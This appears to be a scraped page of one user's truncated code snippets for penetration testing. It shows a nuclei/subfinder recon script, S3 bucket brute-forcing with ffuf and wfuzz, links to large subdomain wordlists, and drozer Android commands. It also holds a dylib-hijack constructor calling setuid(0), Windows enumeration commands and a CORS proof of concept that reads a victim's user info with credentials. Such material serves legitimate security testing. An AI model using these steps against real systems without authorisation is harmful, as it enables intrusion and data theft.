michaellcader

#!/bin/bash

OUT=~/nuclei-results/$1
TPL=~/nuclei-templates
mkdir -p ${OUT}
SUB=$(subfinder -d $1 -silent | httprobe | tee ${OUT}/$1.txt)

cd ${TPL}; git pull origin master && cd -
for tpl in $(find $TPL -name "*.yaml"); do $GOPATH/bin/nuclei -l ${OUT}/$1.txt -t $tpl -o "${OUT}/$(basename "$tpl" .yaml).txt"; done
find ${OUT} -name "*.txt" -size 0 -delete

michaellcader

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname

michaellcader

🚨🔺15 Million Subdomain Wordlist🔻 🧱🔨👀

https://anonfiles.com/X3ddl4L5ob/15m_sub_wordlist.txt_zip

cmd@fb:/tmp|❯ wc -l 15m_sub_wordlist.txt
 15677820 15m_sub_wordlist.txt

⏳🔺33 Million Subdomain Wordlist🔻🧱🔨👀

https://anonfiles.com/L6hfleLao0/33m-subdomain-wordlist.txt_zip

cmd@fb:/tmp|❯ wc -l 33m-subdomain-wordlist.txt

michaellcader

#!/bin/bash

echo "###############################"
echo "#           Ffuf              #"
echo "###############################"
echo ""
echo ""
echo "[1] subdomains.txt"
echo "[2] subdomain-large.txt"
echo "[3] raft-large-directories.txt"

michaellcader

#!/bin/bash

Ffuf (faster):
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v


Wfuzz:
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50

The files:

michaellcader

Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

    * Starting a session
      * `adb forward tcp:31415 tcp:31415`
      * `drozer console connect`
      * `drozer console connect --server <ip>`
    * List modules
 * `ls`

michaellcader

#include <stdio.h>
#include <syslog.h>
#include <stdlib.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
 {
	setuid(0);
 	system("id");
	printf("Hello from dylib!\n");

michaellcader

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

michaellcader

# GET Method
<script type="text/javascript">
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open("get","victim.com/getUserInfo",true);
req.withCredentials = true;
req.send();
function reqListener(){alert(req.responseText);}
</script>

michaellcader

# coding: utf-8
# py2 origin author lrdcq
# usage python3 unwxapkg.py filename

__author__ = 'Integ: https://github.com./integ'

import sys, os
import struct

class WxapkgFile(object):